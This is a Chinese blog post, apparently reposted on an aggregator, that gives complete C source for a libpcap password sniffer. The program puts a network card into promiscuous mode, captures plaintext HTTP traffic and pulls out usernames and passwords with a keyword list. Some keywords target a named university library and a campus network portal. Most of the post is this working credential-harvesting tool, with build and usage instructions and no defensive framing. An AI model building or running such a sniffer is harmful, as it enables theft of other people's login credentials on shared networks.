基于libpcap的HTTP密码嗅探程序
来源:互联网 发布:js怎么控制class 编辑:程序博客网 时间:2024/06/02 05:19
(原作于2017年4月19日,有删改)
wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:
sudo apt-get install libpcap-dev
编译密码嗅探程序的命令是:
gcc sniffpwd.c -o sniffpwd -lpcap
密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
当它不带参数时默认嗅探网卡eth0上的网络流量;
当有一个参数时,该参数为要嗅探数据的网卡名,如eth1、wlan0这样的;
当有两个参数时,第一个参数为网卡名,第二个参数为任意值,
有第二个参数存在,便指明嗅探程序工作模式为简明模式,
即只输出嗅探到的用户名、密码及目的IP、端口、URL等最基本信息,
而没有第二个参数存在,则会输出嗅探到的所有数据包的概要信息。
为了嗅探到更多网络流量,你可能需要开启自己网卡的混杂模式:
sudo fconfig eth0 promisc
程序很简单,源代码如下:
#include <time.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pcap/pcap.h> #include <arpa/inet.h> #include <netinet/ether.h> //定义链路层数据包格式 typedef struct { u_char DestMac[6]; u_char SrcMac[6]; u_char Etype[2]; }ETHHEADER; //定义IP首部格式 typedef struct ip_hdr { unsigned char h_verlen;//4位首部长度,4位IP版本号 unsigned char tos;//8位服务类型TOS unsigned short tatal_len;//16位总长度 unsigned short ident;//16位标示 unsigned short frag_and_flags;//偏移量和3位标志位 unsigned char ttl;//8位生存时间TTL unsigned char proto;//8位协议(TCP,UDP或其他) unsigned short checksum;//16位IP首部检验和 unsigned int sourceIP;//32位源IP地址 unsigned int destIP;//32位目的IP地址 }IPHEADER; //定义TCP首部格式 typedef struct tcp_hdr { unsigned short sport;//16位源端口 unsigned short dport;//16位目的端口 unsigned int seq;//32位序列号 unsigned int ack;//32位确认号 unsigned char lenres;//4位首部长度/6位保留字 unsigned char flag;//6位标志位 unsigned short win;//16位窗口大小 unsigned short sum;//16位检验和 unsigned short urp;//16位紧急数据偏移量 }TCPHEADER; //全局变量 int flag = 0; //是否只显示嗅探到用户名或口令的包,默认为否 long number =0; //已嗅探到的包总数 int isHTTP(char *datatcp, int len) //判断TCP包中是否有HTTP包,通过是否包含"HTTP/"来判断 { int i=0; //只在TCP数据的前200字节查找 int min=200; if(len<200){ min=len; } //开始查找 for(i=0;i<min;i++){ if(datatcp[i]=='H' && i<min-4){ if(datatcp[i+1]=='T'&&datatcp[i+2]=='T'&&datatcp[i+3]=='P'&&datatcp[i+4]=='/'){ return 1; } } } return 0; /* //判断TCP包中是否有HTTP包,通过是否以"HTTP/"开头来判断 if(datatcp[0]=='H' && datatcp[1]=='T' && datatcp[2]=='T' && datatcp[3]=='P' && datatcp[4]=='/'){ return 1; }else{ return 0; } */ } void printHTTPhead(char *httphead, int len) //打印HTTP头部信息或头部第一行(取决于全局变量flag) //打印头部信息时遇到连续两个换行结束 { int i; for(i=0;i<len;i++){ if(httphead[i]=='\r' && httphead[i+1]=='\n' && httphead[i+2]=='\r' && httphead[i+3]=='\n'){ httphead[i]='\0'; httphead[i+1]='\0'; break; } if( flag && httphead[i]=='\r' && httphead[i+1]=='\n'){ httphead[i]='\0'; httphead[i+1]='\0'; break; } } if(httphead[0]==0x01&&httphead[1]==0x01&&httphead[2]==0x08&&httphead[3]==0x0a){ //TCP PAWS处理 //http://www.unixresources.net/linux/clf/linuxK/archive/00/00/13/92/139290.html printf("%s", httphead+12); }else{ printf("%s", httphead); } httphead[i]='\r'; httphead[i+1]='\n'; } int findPasswd(char *data, int len){ //从HTTP包的数据部分寻找可能存在的用户名和密码,返回找到的个数 //密码可能在URL里,cookie里,HTTP数据里,只能在整个http报文中匹配 int i=0, j=0, min=200; int p=0; //在data中的总偏移,用于防止修改非法地址的值 int num=0; //嗅探到的用户名或口令个数 char temp; char * next; char * start; char * keyword[] = { //字典,本程序核心技术所在 "username=", //最常见的 "password=", //最常见的 "passwd=", //最常见的 "number=", //我曾经用过的 "user=", //这是我瞎想的 "yonghuming=", //汉语拼音 "mima=", //汉语拼音 "userid=", //织梦cms "pwd", //织梦cms "account=", //知乎的,虽然它加密了 "TxtName", //华科图书馆 "TxtPassword", //华科图书馆 "EPORTAL_COOKIE_USERNAME=", //校园网 "EPORTAL_COOKIE_PASSWORD=", //校园网 }; int l=sizeof(keyword) / sizeof(keyword[0]); /* 由于TCP首部是变长的,传来的data可能包含有部分TCP首部数据,并不一定是HTTP数据 故先查找字符串"HTTP/"或"POST"或"GET",从这个字符串后匹配用户名密码*/ for(i=0;i<min;i++){ if(data[i]=='H' && i<min-4){ if(data[i+1]=='T' && data[i+2]=='T' && data[i+3]=='P' && data[i+4]=='/'){ start = data+i; break; } } if(data[i]=='G' && i<min-3){ if(data[i+1]=='E' && data[i+2]=='T'){ start = data+i; break; } } if(data[i]=='P' && i<min-4){ if(data[i+1]=='O' && data[i+2]=='S' && data[i+3]=='T'){ start = data+i; break; } } } /* 依次匹配每个关键词 */ for(i=0;i<l;i++){ next = start; p = 0; while( next = strstr(next, keyword[i]) ){ //一个关键词可能出现多次 j=0; while(next[j]!='\n' && next[j]!='\r' && next[j]!='&' && next[j]!=';' && next[j]!=' '){ //若密码中出现了空格和分号,会被自动转码为+和%%3B,而密码中的+会被自动转码为%2B if(p>=len){ break; } j++; p++; } temp = next[j]; next[j] = '\0'; if(num==0){ printf("**********口令嗅探结果***********"); } printf("\n%s", next); num++; next[j] = temp; next = next + j; } } return num; } void pcap_handle(u_char* user,const struct pcap_pkthdr* header,const u_char* pkt_data) //pcap_loop回调函数 { /* 声明变量 */ int off,ret; time_t timep; char * datatcp; char szSourceIP[MAX_ADDR_LEN*2], szDestIP[MAX_ADDR_LEN*2]; //源IP和目的IP struct sockaddr_in saSource, saDest; //源地址结构体,目的地址结构体 /* 设置各种头指针 */ if(header->len<sizeof(ETHHEADER)) return; //数据帧长度小于以太网头,不做处理 IPHEADER *pIpheader=(IPHEADER*)(pkt_data+sizeof(ETHHEADER)); TCPHEADER *pTcpheader = (TCPHEADER*)(pkt_data + sizeof(ETHHEADER) + sizeof(IPHEADER)); if(pIpheader->proto!=6) return; //只处理TCP数据 off = sizeof(IPHEADER) + sizeof(TCPHEADER) + sizeof(ETHHEADER); datatcp = (unsigned char *)pkt_data + off; if(isHTTP(datatcp, header->len-off)){ /* 若是HTTP报文 */ number ++; //打印嗅探结果 ret = findPasswd(datatcp, header->len-off); if(ret==0 && flag==0){ //没有嗅探到任何口令 printf("**********口令嗅探结果***********"); printf("\n没有嗅探到任何口令"); }else if(ret>0 && !flag){ printf("\n共嗅探到%d个用户名或口令", ret); } //flag为1时跳过未嗅探到口令的包 if(ret==0 && flag) return; // 解析IP地址 saSource.sin_addr.s_addr = pIpheader->sourceIP; strcpy(szSourceIP, inet_ntoa(saSource.sin_addr)); saDest.sin_addr.s_addr = pIpheader->destIP; strcpy(szDestIP, inet_ntoa(saDest.sin_addr)); if(!flag){ //打印全部信息 time (&timep); printf("\n**********数据包信息***********"); printf("\n数据包编号: %ld", number); printf("\n数据包长度: %d", header->len); printf("\n捕获时间: %s", asctime(localtime(&timep))); printf("**********IP协议头部***********"); printf("\n标示: %i", ntohs(pIpheader->ident)); printf("\n总长度: %i", ntohs(pIpheader->tatal_len)); printf("\n偏移量: %i", ntohs(pIpheader->frag_and_flags)); printf("\n生存时间: %d",pIpheader->ttl); printf("\n服务类型: %d",pIpheader->tos); printf("\n协议类型: %d",pIpheader->proto); printf("\n检验和: %i", ntohs(pIpheader->checksum)); printf("\n源IP: %s", szSourceIP); printf("\n目的IP: %s", szDestIP); printf("\n**********TCP协议头部***********"); printf("\n源端口: %i", ntohs(pTcpheader->sport)); printf("\n目的端口: %i", ntohs(pTcpheader->dport)); printf("\n序列号: %i", ntohs(pTcpheader->seq)); printf("\n应答号: %i", ntohs(pTcpheader->ack)); printf("\n检验和: %i", ntohs(pTcpheader->sum)); //打印HTTP头部信息 printf("\n**********HTTP协议头部***********\n"); printHTTPhead(datatcp, header->len-off); } else{ //只打印必须的信息(必须是指能识别出具体发往哪个网页) printf("\n源IP: %s, 目的: %s:%i\t", szSourceIP, szDestIP, ntohs(pTcpheader->dport)); printHTTPhead(datatcp, header->len-off); } //额外的换行 printf("\n\n"); } /* //显示数据帧内容 int i; for(i=0; i<(int)header->len; ++i) { printf(" %02x", pkt_data[i]); if( (i + 1) % 16 == 0 ) printf("\n"); } */ } int main(int argc, char** argv) { /* 声明变量 */ int id = 0; char errpkt_data[1024]; char *dev="eth0"; bpf_u_int32 ipmask=0; struct bpf_program fcode; struct pcap_pkthdr packet; /* 处理参数 */ if(argc==2){ dev = argv[1]; //指定网卡 } else if(argc==3){ dev = argv[1]; //指定网卡 flag = 1; //只显示嗅探到用户名或口令的包 } /* 打开网络设备 */ pcap_t* device=pcap_open_live(dev, 65535, 1, 0, errpkt_data); if(!device){ printf("%s\n", errpkt_data); return 1; } /* 设置过滤规则,只抓取TCP包 */ if(pcap_compile(device, &fcode, "tcp", 0, ipmask)==-1){ printf("%s\n", pcap_geterr(device)); } if(pcap_setfilter(device, &fcode)==-1){ printf("%s\n", pcap_geterr(device)); return 1; } /* 开始抓包 */ pcap_loop(device, -1, pcap_handle, (u_char*)&id); return 0; }
阅读全文
0 0
- 基于libpcap的HTTP密码嗅探程序
- 基于LIBPCAP的HTTP协议还原与模式匹配
- 基于libpcap的抓包与存储程序
- 基于libpcap实现抓包程序
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于linux 平台的libpcap源代码
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于 linux 平台的 libpcap 源代码分析
- 基于Java的随机密码程序
- 剑指offer 34---丑数
- cocos开发环境配置
- 数据结构实验之栈三:后缀式求值
- A
- Spring 多线程
- 基于libpcap的HTTP密码嗅探程序
- Linux下shell脚本中的eval命令
- STL容器——vector接口介绍
- SpringBoot-访问MySQL数据库
- IP分片
- The Boss on Mars
- python3 网络爬虫(五)scrapy中使用User-Agent
- PHP从后台读取数据实现轮播的效果
- java获取两个字符串中最大子串